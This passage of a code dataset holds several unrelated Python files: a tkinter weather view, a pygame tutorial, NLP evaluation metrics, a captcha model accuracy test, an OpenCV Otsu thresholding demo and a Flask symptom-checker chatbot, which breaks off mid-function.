self.__wind.configure(\n            text=fmt.format_wind(\n                self.props.forecast.wind_speed, self.props.forecast.wind_direction\n            )\n        )\n        self.__refresh.configure(command=self.props.on_refresh)\n        self.__humidity.configure(\n            text=_(\"Humidity\") + f\": {self.props.forecast.humidity}%\"\n        )\n        self.__pressure.configure(\n            text=_(\"Pressure\")\n            + \": \"\n            + fmt.format_pressure(self.props.forecast.pressure)\n        )\n\n    def _render_widgets(self):\n        self.columnconfigure(1, weight=1)\n        self.rowconfigure(1, weight=1)\n\n        self.__real_temp = Flexible(tk.Label)(\n            self,\n            anchor=tk.SE,\n            font=(\"TkDefaultFont\", 20),\n        )\n        self.__real_temp.grid(column=0, row=0)\n\n        container = Flexible(tk.Frame)(self)\n        container.grid(row=0, column=1, sticky=\"NEWS\")\n        self.__feels_like = Flexible(tk.Label)(\n            container,\n            anchor=tk.SW,\n            font=(\"TkDefaultFont\", 20),\n            fg=\"#777777\",\n        )\n        self.__feels_like.grid(row=0, column=0, sticky=\"NEWS\")\n        self.__refresh = tk.Button(container, text=_(\"Refresh\"))\n        self.__refresh.grid(row=0, column=1, sticky=\"SE\")\n\n        self.__weather_kind = Flexible(tk.Label)(\n            self,\n            anchor=tk.SE,\n            font=(\"TkDefaultFont\", 16),\n        )\n        self.__weather_kind.grid(row=1, column=0)\n        self.__wind = Flexible(tk.Label)(\n            self,\n            anchor=tk.SW,\n            font=(\"TkDefaultFont\", 16),\n        )\n        self.__wind.grid(row=1, column=1)\n\n        self.__humidity = Flexible(tk.Label)(self, anchor=tk.SE)\n        self.__humidity.grid(row=2, column=0)\n        self.__pressure = Flexible(tk.Label)(self, anchor=tk.SW)\n        self.__pressure.grid(row=2, column=1)\n", "repo_name": "paper-lark/python-overview-project", "sub_path": "overview/views/weather/current_weather.py", "file_name": "current_weather.py", "file_ext": "py", "file_size_in_byte": 2856, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "overview.models.weather.InstantForecast", "line_number": 18, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 19, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 14, "usage_type": "name"}, {"api_name": "overview.views.shared.view.View", "line_number": 22, "usage_type": "name"}, {"api_name": "overview.utils.formatters.format_temperature", "line_number": 27, "usage_type": "call"}, {"api_name": "overview.utils.formatters", "line_number": 27, "usage_type": "name"}, {"api_name": "overview.utils.formatters.format_temperature", "line_number": 30, "usage_type": "call"}, {"api_name": "overview.utils.formatters", "line_number": 30, "usage_type": "name"}, {"api_name": "overview.utils.formatters.format_weather_kind", "line_number": 33, "usage_type": "call"}, {"api_name": "overview.utils.formatters", "line_number": 33, "usage_type": "name"}, {"api_name": "overview.utils.formatters.format_wind", "line_number": 36, "usage_type": "call"}, {"api_name": "overview.utils.formatters", "line_number": 36, "usage_type": "name"}, {"api_name": "overview.utils.formatters.format_pressure", "line_number": 47, "usage_type": "call"}, {"api_name": "overview.utils.formatters", "line_number": 47, "usage_type": "name"}, {"api_name": "overview.views.shared.flexible.Flexible", "line_number": 54, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 54, "usage_type": "attribute"}, {"api_name": "tkinter.SE", "line_number": 56, "usage_type": "attribute"}, {"api_name": "overview.views.shared.flexible.Flexible", "line_number": 61, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 61, "usage_type": "attribute"}, {"api_name": "overview.views.shared.flexible.Flexible", "line_number": 63, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 63, "usage_type": "attribute"}, {"api_name": "tkinter.SW", "line_number": 65, "usage_type": "attribute"}, {"api_name": "tkinter.Button", "line_number": 70, "usage_type": "call"}, {"api_name": "overview.views.shared.flexible.Flexible", "line_number": 73, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 73, "usage_type": "attribute"}, {"api_name": "tkinter.SE", "line_number": 75, "usage_type": "attribute"}, {"api_name": "overview.views.shared.flexible.Flexible", "line_number": 79, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 79, "usage_type": "attribute"}, {"api_name": "tkinter.SW", "line_number": 81, "usage_type": "attribute"}, {"api_name": "overview.views.shared.flexible.Flexible", "line_number": 86, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 86, "usage_type": "attribute"}, {"api_name": "tkinter.SE", "line_number": 86, "usage_type": "attribute"}, {"api_name": "overview.views.shared.flexible.Flexible", "line_number": 88, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 88, "usage_type": "attribute"}, {"api_name": "tkinter.SW", "line_number": 88, "usage_type": "attribute"}]}
{"seq_id": "6492596855", "text": "# IMPORTANDO A BIBLIOTECA\nimport pygame\n\n# INICIALIZANDO O PYGAME\npygame.init()\n\n# CRIANDO NOSSA JANELA\ntela = pygame.display.set_mode([600, 800])\n\n# DEFININDO O RELÓGIO QUE VAI CONTAR OS FRAMES POR SEGUNDO\nclock = pygame.time.Clock()\n\n# CRIANDO UM QUADRADO QUE SERÁ EXIBIDO NA TELA\nquadrado = pygame.Rect(100,  100,  50,  50)\n\n# LOOP PRINCIPAL DO JOGO\nexecutando = True\nwhile executando:\n\n\t# VERIFICANDO EVENTOS\n\tfor evento in pygame.event.get():\n\n\t\t# EVENTO DE FECHAR A TELA\n\t\tif evento.type == pygame.QUIT:\n\t\t\texecutando = False\n\n\t\t# EVENTOS DE TECLA PRESSIONADA\n\t\tif evento.type == pygame.KEYDOWN:\n\t\t\tif evento.key == pygame.K_DOWN:\n\t\t\t\tquadrado.move_ip([0, 20])\n\t\t\tif evento.key == pygame.K_UP:\n\t\t\t\tquadrado.move_ip([0, -20])\n\t\t\tif evento.key == pygame.K_LEFT:\n\t\t\t\tquadrado.move_ip([-20, 0])\n\t\t\tif evento.key == pygame.K_RIGHT:\n\t\t\t\tquadrado.move_ip([20, 0])\n\n\t# ELEMENTOS DA TELA\n\tpygame.draw.rect(tela, (255, 0, 0), quadrado)\n\n\t# CONFIGURAÇÃO DE QUADROS\n\tclock.tick(27)\n\tpygame.display.update()\n\npygame.quit()", "repo_name": "jjpaulo2/tutorial-pygame-python-brasil-2020", "sub_path": "exemplos/primeiro_jogo.py", "file_name": "primeiro_jogo.py", "file_ext": "py", "file_size_in_byte": 1019, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pygame.init", "line_number": 5, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 14, "usage_type": "call"}, {"api_name": "pygame.event.get", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pygame.K_DOWN", "line_number": 29, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 39, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 43, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 45, "usage_type": "call"}]}
{"seq_id": "71432126332", "text": "import torch\nimport numpy as np\nimport pandas as pd\nfrom scipy.stats import pearsonr, spearmanr\nfrom seqeval.metrics import f1_score as ner_f1_score\nfrom seqeval.metrics import classification_report as token_classification_report\nfrom sklearn.metrics import (\n    matthews_corrcoef,\n    recall_score,\n    precision_score,\n    f1_score,\n    mean_squared_error,\n    r2_score,\n    classification_report\n)\nfrom farm.utils import flatten_list\nimport logging\n\nlogger = logging.getLogger(__name__)\n\nregistered_metrics = {}\nregistered_reports = {}\n\ndef register_metrics(name, implementation):\n    registered_metrics[name] = implementation\n\ndef register_report(name, implementation):\n    \"\"\"\n    Register a custom reporting function to be used during eval.\n\n    This can be useful:\n    - if you want to overwrite a report for an existing output type of prediction head (e.g. \"per_token\")\n    - if you have a new type of prediction head and want to add a custom report for it\n\n    :param name: This must match the `ph_output_type` attribute of the PredictionHead for which the report should be used.\n                 (e.g. TokenPredictionHead => `per_token`, YourCustomHead => `some_new_type`).\n    :type name: str\n    :param implementation: Function to be executed. It must take lists of `y_true` and `y_pred` as input and return a\n                           printable object (e.g. string or dict).\n                           See sklearns.metrics.classification_report for an example.\n    :type implementation: function\n    \"\"\"\n    registered_reports[name] = implementation\n\ndef simple_accuracy(preds, labels):\n    # works also with nested lists of different lengths (needed for masked LM task)\n    if type(preds) == type(labels) == list:\n        preds = np.array(list(flatten_list(preds)))\n        labels = np.array(list(flatten_list(labels)))\n    assert type(preds) == type(labels) == np.ndarray\n    correct = preds == labels\n    return {\"acc\": correct.mean()}\n\n\ndef acc_and_f1(preds, labels):\n    acc = simple_accuracy(preds, labels)\n    f1 = f1_score(y_true=labels, y_pred=preds)\n    return {\"acc\": acc, \"f1\": f1, \"acc_and_f1\": (acc + f1) / 2}\n\n\ndef f1_macro(preds, labels):\n    return {\"f1_macro\": f1_score(y_true=labels, y_pred=preds, average=\"macro\")}\n\n\ndef pearson_and_spearman(preds, labels):\n    pearson_corr = pearsonr(preds, labels)[0]\n    spearman_corr = spearmanr(preds, labels)[0]\n    return {\n        \"pearson\": pearson_corr,\n        \"spearman\": spearman_corr,\n        \"corr\": (pearson_corr + spearman_corr) / 2,\n    }\n\ndef compute_metrics(metric, preds, labels):\n    assert len(preds) == len(labels)\n    if metric == \"mcc\":\n        return {\"mcc\": matthews_corrcoef(labels, preds)}\n    elif metric == \"acc\":\n        return simple_accuracy(preds, labels)\n    elif metric == \"acc_f1\":\n        return acc_and_f1(preds, labels)\n    elif metric == \"pear_spear\":\n        return pearson_and_spearman(preds, labels)\n    # TODO this metric seems very specific for NER and doesnt work for\n    elif metric == \"seq_f1\":\n        return {\"seq_f1\": ner_f1_score(labels, preds)}\n    elif metric == \"f1_macro\":\n        return f1_macro(preds, labels)\n    elif metric == \"squad\":\n        return squad(preds, labels)\n    elif metric == \"mse\":\n        return {\"mse\": mean_squared_error(preds, labels)}\n    elif metric == \"r2\":\n        return {\"r2\": r2_score(preds, labels)}\n    elif metric == \"top_n_recall\":\n        return {\"top_n_recall\": top_n_recall(preds, labels)}\n    # elif metric == \"masked_accuracy\":\n    #     return simple_accuracy(preds, labels, ignore=-1)\n    elif metric in registered_metrics:\n        metric_func = registered_metrics[metric]\n        return metric_func(preds, labels)\n    else:\n        raise KeyError(metric)\n\n\ndef compute_report_metrics(head, preds, labels):\n    if head.ph_output_type in registered_reports:\n        report_fn = registered_reports[head.ph_output_type]\n    elif head.ph_output_type == \"per_token\":\n        report_fn = token_classification_report\n    elif head.ph_output_type == \"per_sequence\":\n        report_fn = classification_report\n    elif head.ph_output_type == \"per_token_squad\":\n        report_fn = lambda *args, **kwargs: \"Not Implemented\"\n    elif head.ph_output_type == \"per_sequence_continuous\":\n        report_fn = r2_score\n    else:\n        raise AttributeError(f\"No report function for head.ph_output_type '{head.ph_output_type}'. \"\n                             f\"You can register a custom one via register_report(name='{head.ph_output_type}', implementation=<your_report_function>\")\n\n    # CHANGE PARAMETERS, not all report_fn accept digits\n    if head.ph_output_type in [\"per_sequence\"]:\n        # supply labels as all possible combination because if ground truth labels do not cover\n        # all values in label_list (maybe dev set is small), the report will break\n        if head.model_type == \"multilabel_text_classification\":\n            # For multilabel classification, we don't eval with string labels here, but with multihot vectors.\n            # Therefore we need to supply all possible label ids instead of label values.\n            all_possible_labels = list(range(len(head.label_list)))\n        else:\n            all_possible_labels = head.label_list\n        return report_fn(\n            labels,\n            preds,\n            digits=4,\n            labels=all_possible_labels,\n            target_names=head.label_list\n        )\n    else:\n        return report_fn(labels, preds)\n\n\ndef squad_EM(preds, labels):\n    # TODO write comment describing function\n    n_docs = len(preds)\n    n_correct = 0\n    for doc_idx in range(n_docs):\n        pred_start, pred_end, _ = preds[doc_idx][0][0]\n        curr_labels = labels[doc_idx]\n        if (pred_start, pred_end) in curr_labels:\n            n_correct += 1\n    return n_correct/n_docs\n\ndef squad_f1(preds, labels):\n    f1_scores = []\n    n_docs = len(preds)\n    for i in range(n_docs):\n        best_pred = preds[i][0]\n        best_f1 = max([squad_f1_single(best_pred, label) for label in labels[i]])\n        f1_scores.append(best_f1)\n    return np.mean(f1_scores)\n\n\ndef squad_f1_single(pred, label, pred_idx=0):\n    label_start, label_end = label\n    pred_start, pred_end, _ = pred[pred_idx]\n    if (pred_start + pred_end == 0) or (label_start + label_end == 0):\n        if pred_start == label_start:\n            return 1.0\n        else:\n            return 0.0\n    pred_span = list(range(pred_start, pred_end + 1))\n    label_span = list(range(label_start, label_end + 1))\n    n_overlap = len([x for x in pred_span if x in label_span])\n    if n_overlap == 0:\n        return 0.0\n    precision = n_overlap / len(pred_span)\n    recall = n_overlap / len(label_span)\n    f1 = (2 * precision * recall) / (precision + recall)\n    return f1\n\ndef squad(preds, labels):\n    em = squad_EM(preds=preds, labels=labels)\n    f1 = squad_f1(preds=preds, labels=labels)\n    top_recall = top_n_recall(preds=preds, labels=labels)\n    return {\"EM\": em, \"f1\": f1, \"top_n_recall\": top_recall}\n\ndef top_n_recall(preds, labels):\n    answer_in_top_n = []\n    n_questions = len(preds)\n    for i in range(n_questions):\n        f1_score = 0\n        current_preds = preds[i][0]\n        for idx, pred in enumerate(current_preds):\n            f1_score = max([squad_f1_single(current_preds, label, pred_idx=idx) for label in labels[i]])\n            if f1_score:\n                break\n        if f1_score:\n            answer_in_top_n.append(1)\n        else:\n            answer_in_top_n.append(0)\n\n    return np.mean(answer_in_top_n)\n\n\n\n", "repo_name": "julian-risch/PatentMatch-FARM", "sub_path": "farm/evaluation/metrics.py", "file_name": "metrics.py", "file_ext": "py", "file_size_in_byte": 7509, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 48, "usage_type": "call"}, {"api_name": "farm.utils.flatten_list", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 49, "usage_type": "call"}, {"api_name": "farm.utils.flatten_list", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 50, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 57, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 62, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 66, "usage_type": "call"}, {"api_name": "scipy.stats.spearmanr", "line_number": 67, "usage_type": "call"}, {"api_name": "sklearn.metrics.matthews_corrcoef", "line_number": 77, "usage_type": "call"}, {"api_name": "seqeval.metrics.f1_score", "line_number": 86, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 92, "usage_type": "call"}, {"api_name": "sklearn.metrics.r2_score", "line_number": 94, "usage_type": "call"}, {"api_name": "seqeval.metrics.classification_report", "line_number": 110, "usage_type": "name"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 112, "usage_type": "name"}, {"api_name": "sklearn.metrics.r2_score", "line_number": 116, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 160, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 191, "usage_type": "name"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 194, "usage_type": "name"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 195, "usage_type": "name"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 197, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 202, "usage_type": "call"}]}
{"seq_id": "43661542616", "text": "from datetime import datetime\nfrom pathlib import Path\n\nimport pandas as pd\nimport requests\nimport typer\nfrom clearml import Task\nfrom sklearn.metrics import accuracy_score\nfrom tqdm import tqdm\n\nfrom captcha.config import net_config\n\n\ndef check_equality(pred: list, label: list, save_path: str):\n    if pred != label:\n        pd.DataFrame(\n            {\"pred\": [\", \".join(map(str, pred))], \"label\": [\", \".join(map(str, label))]}\n        ).to_csv(f\"{save_path}/unequal.csv\", index=False, header=False, mode=\"a\")\n        return False\n    return True\n\n\ndef get_response(files: list, url: str):\n    files_opened = []\n    for file in files:\n        files_opened.append((\"data\", open(file, \"rb\")))\n\n    response = requests.post(\n        url=f\"{url}/predict\",\n        files=files_opened,\n    )\n    return response\n\n\ndef metric_test(\n    csv_path: str,\n    url: str,\n    batch_size: int = 15,\n    task_name: str = \"metric_test\",\n    log_clearml: bool = True,\n):\n    task = (\n        Task.init(\n            project_name=\"captcha_metrics\",\n            task_name=f\"{task_name}_{net_config.model_path}\",\n        )\n        if log_clearml\n        else None\n    )\n    logger = None if task is None else task.get_logger()\n\n    outputs_path = f\"outputs/{datetime.now()}\"\n    Path(outputs_path).mkdir(exist_ok=True, parents=True)\n\n    files = list(pd.read_csv(csv_path)[\"filepath\"].values)\n    batches = [\n        files[i * batch_size : (i + 1) * batch_size]\n        for i in range(int(len(files) / batch_size))\n    ]\n    preds = []\n    labels = []\n    equals = []\n    for batch in tqdm(batches, desc=f\"batch prediction... (batch_size={batch_size})\"):\n        predictons = get_response(batch, url).json()\n        for item in range(len(predictons[\"predictions\"])):\n            eq = check_equality(\n                predictons[\"predictions\"][item],\n                predictons[\"labels\"][item],\n                outputs_path,\n            )\n            equals.append(eq)\n            preds.extend(predictons[\"predictions\"][item])\n            labels.extend(predictons[\"labels\"][item])\n\n    accuracy_per_symbol = accuracy_score(labels, preds)\n    accuracy_per_image = sum(equals) / len(equals)\n    print(\n        f\"data: {csv_path}\\nmodel: {net_config.model_path}\\naccuracy_per_symbol: {accuracy_per_symbol}\"\n    )\n    print(f\"\\naccuracy_per_image: {accuracy_per_image}\")\n\n    if logger is not None:\n        logger.report_scalar(\n            f\"Accuracy per symbol\",\n            net_config.model_path,\n            iteration=0,\n            value=accuracy_per_symbol,\n        )\n        logger.report_scalar(\n            f\"Accuracy per image\",\n            net_config.model_path,\n            iteration=0,\n            value=accuracy_per_image,\n        )\n        logger.flush()\n\n\nif __name__ == \"__main__\":\n    typer.run(metric_test)\n", "repo_name": "AstrakhantsevaAA/Captcha", "sub_path": "tests/manual_tests/metric_test.py", "file_name": "metric_test.py", "file_ext": "py", "file_size_in_byte": 2800, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.DataFrame", "line_number": 16, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 28, "usage_type": "call"}, {"api_name": "clearml.Task.init", "line_number": 43, "usage_type": "call"}, {"api_name": "clearml.Task", "line_number": 43, "usage_type": "name"}, {"api_name": "captcha.config.net_config.model_path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "captcha.config.net_config", "line_number": 45, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 52, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 52, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 53, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 55, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 63, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 75, "usage_type": "call"}, {"api_name": "captcha.config.net_config.model_path", "line_number": 78, "usage_type": "attribute"}, {"api_name": "captcha.config.net_config", "line_number": 78, "usage_type": "name"}, {"api_name": "captcha.config.net_config.model_path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "captcha.config.net_config", "line_number": 85, "usage_type": "name"}, {"api_name": "captcha.config.net_config.model_path", "line_number": 91, "usage_type": "attribute"}, {"api_name": "captcha.config.net_config", "line_number": 91, "usage_type": "name"}, {"api_name": "typer.run", "line_number": 99, "usage_type": "call"}]}
{"seq_id": "33758487979", "text": "#-*- coding:utf-8 -*-\n\"\"\"\n    desc: 二值化算法：OSTU\n    author:MeteorMan\n    datetime:2020/10/27\n\"\"\"\n\nimport cv2\nfrom matplotlib import pyplot as plt\n\n#读取图片\nimg = cv2.imread('../img/2-1.png')\n\n#1.将图像转换为灰度图\ngray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n#绘制灰度图\nplt.subplot(311)#采用3行1列布局，本次占用第1行第1列\nplt.imshow(gray_img, 'gray')\nplt.title('input image')\nplt.xticks([])\nplt.yticks([])\n\n#2.对灰度图使用ostu算法\nret1, th1 = cv2.threshold(gray_img, 0, 255, cv2.THRESH_OTSU)\n#绘制灰度直方图\nplt.subplot(312)\nplt.hist(gray_img.ravel(), 256)\n#标注ostu阈值所在直线\nplt.axvline(x=ret1, color='red', label='ostu')\nplt.legend(loc='upper right')\nplt.title('Histogram')\nplt.xticks([])\nplt.yticks([])\n\n#绘制二值化图像\nplt.subplot(313)\nplt.imshow(th1, \"gray\")\nplt.title('output image')\nplt.xticks([])\nplt.yticks([])\nplt.show()\n\n", "repo_name": "Vincent131499/Chinese-OCR3", "sub_path": "preprocess/image_binarization/ostu_binarization.py", "file_name": "ostu_binarization.py", "file_ext": "py", "file_size_in_byte": 915, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 80, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cv2.imread", "line_number": 12, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 15, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "cv2.threshold", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.THRESH_OTSU", "line_number": 24, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}]}
{"seq_id": "29138388704", "text": "import json\nimport pickle\nimport random\nfrom datetime import datetime\n\nimport nltk\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn as nn\nfrom flask import Flask, jsonify, render_template, request\nfrom nltk.stem.porter import PorterStemmer\n\nstemmer = PorterStemmer()\n\n\ndef bag_of_words(tokenized_sentence, all_words):\n    tokenized_sentence = [stemmer.stem(w.lower()) for w in tokenized_sentence]\n\n    bag = np.zeros(len(all_words), dtype=np.float32)\n    for idx, w in enumerate(all_words):\n        if w in tokenized_sentence:\n            bag[idx] = 1.0\n\n    return bag\n\n# Fully connected neural network with three hidden layer\n\n\nclass NeuralNet(nn.Module):\n    def __init__(self, input_size, hidden_size, num_classes):\n        super(NeuralNet, self).__init__()\n        self.l1 = nn.Linear(input_size, hidden_size)\n        self.l2 = nn.Linear(hidden_size, hidden_size)\n        self.l3 = nn.Linear(hidden_size, num_classes)\n        self.relu = nn.ReLU()  # activation function\n\n    def forward(self, x):\n        out = self.l1(x)\n        out = self.relu(out)\n        out = self.l2(out)\n        out = self.relu(out)\n        out = self.l3(out)\n        # no activation and no softmax, cross entropy loss applies that for us\n        return out\n\n\nrandom.seed(datetime.now())\n\ndevice = torch.device('cpu')\nFILE = \"models/data.pth\"\nmodel_data = torch.load(FILE)\n\ninput_size = model_data['input_size']\nhidden_size = model_data['hidden_size']\noutput_size = model_data['output_size']\nall_words = model_data['all_words']\ntags = model_data['tags']\nmodel_state = model_data['model_state']\n\nnlp_model = NeuralNet(input_size, hidden_size, output_size).to(device)\nnlp_model.load_state_dict(model_state)\nnlp_model.eval()\n\nDescription = pd.read_csv(\"data/Description.csv\")\nDescription['Disease'] = Description['Disease'].apply(\n    lambda x: x.lower().strip(\" \"))\n\nPrecaution = pd.read_csv(\"data/Precaution.csv\")\nPrecaution['Disease'] = Precaution['Disease'].apply(\n    lambda x: x.lower().strip(\" \"))\n\nSeverity = pd.read_csv(\"data/Severity.csv\")\nSeverity = Severity.applymap(\n    lambda s: s.lower().strip(\" \").replace(\" \", \"\") if type(s) == str else s)\n\n\nwith open('data/symptomsList.pickle', 'rb') as data_file:\n    symptoms_list = pickle.load(data_file)\n\nwith open('models/model.pickle', 'rb') as modelFile:\n    prediction_model = pickle.load(modelFile)\n\nUser_Request = set()\n\napp = Flask(__name__)\n\n\ndef GET_Symptom(sentence):\n    sentence = nltk.word_tokenize(sentence)\n    X = bag_of_words(sentence, all_words)\n    X = X.reshape(1, X.shape[0])\n    X = torch.from_numpy(X)\n\n    output = nlp_model(X)\n    _, predicted = torch.max(output, dim=1)\n    tag = tags[predicted.item()]\n\n    probs = torch.softmax(output, dim=1)\n    prob = probs[0][predicted.item()]\n    prob = prob.item()\n\n    return tag, prob\n\n# app.route() has been added to handle both GET and POST requests\n\n\n@app.route('/')\ndef index():\n    data = []\n    User_Request.clear()\n    file = open(\"static/assets/files/symptoms.txt\", \"r\")\n    all_symptoms = file.readlines()\n    for s in all_symptoms:\n        data.append(s.replace(\"'\", \"\").replace(\"_\", \" \").replace(\",\\n\", \"\"))\n    data = json.dumps(data)\n\n    return render_template('index.html', data=data)\n\n# app.route() has been added to handle both GET and POST requests\n\n\n@app.route('/symptom', methods=['GET', 'POST'])\ndef Prediction():\n\n    x_test = []\n    severity = []\n\n    print(request.json)\n\n    sentence = request.json['sentence']\n    if sentence.replace(\".\", \"\").replace(\"!\", \"\").lower().strip() == \"finish\":\n\n        if not User_Request:\n            BOT_Response = random.choice(\n                [\"Whoops, I can't know what disease you may have if you don't enter any symptoms :)\",\n                 \"Oh nooo, you forgot to enter your symptoms\",\n                 \"Please enter some symptoms!\"])\n        else:\n\n            for each in symptoms_list:\n                if each in User_Request:\n                    x_test.append(1)\n                else:\n                    x_test.append(0)\n\n            x_test = np.asarray(x_test)\n\n            disease = prediction_model.predict(x_test.reshape(1, -1))[0]\n            print(disease)\n\n            description = Description.loc[Description['Disease'] == disease.strip(\n                \" \").lower(), 'Description'].iloc[0]\n\n            precaution = Precaution[Precaution['Disease'] == disease.strip(\n                \" \").lower()]\n\n            precautions = 'Precautions: ' + \\\n                precaution.Precaution_1.iloc[0] + \", \" + precaution.Precaution_2.iloc[0] + \\\n                \", \" + precaution.Precaution_3.iloc[0]\n\n            BOT_Response = \"<b>Predicted Disease: \" + disease + \\\n                \". <br><br> <i>Description: \" + description + \"<br><br>\" + precautions + \"</b>\"\n\n            for each in User_Request:\n\n                severity.append(Severity.loc[Severity['Symptom'] == each.lower(\n                ).strip(\" \").replace(\" \", \"\"), 'weight'].iloc[0])\n\n            if np.mean(severity) > 4 or np.max(severity) > 5:\n                BOT_Response = BOT_Response + \\\n                    \"<br><br>TUDIA isn't a real Doctor, it is only a Chatbot. You should consider talking a real Doctor soon.\"\n\n            User_Request.clear()\n            severity.clear()\n\n    else:\n        symptom, prob = 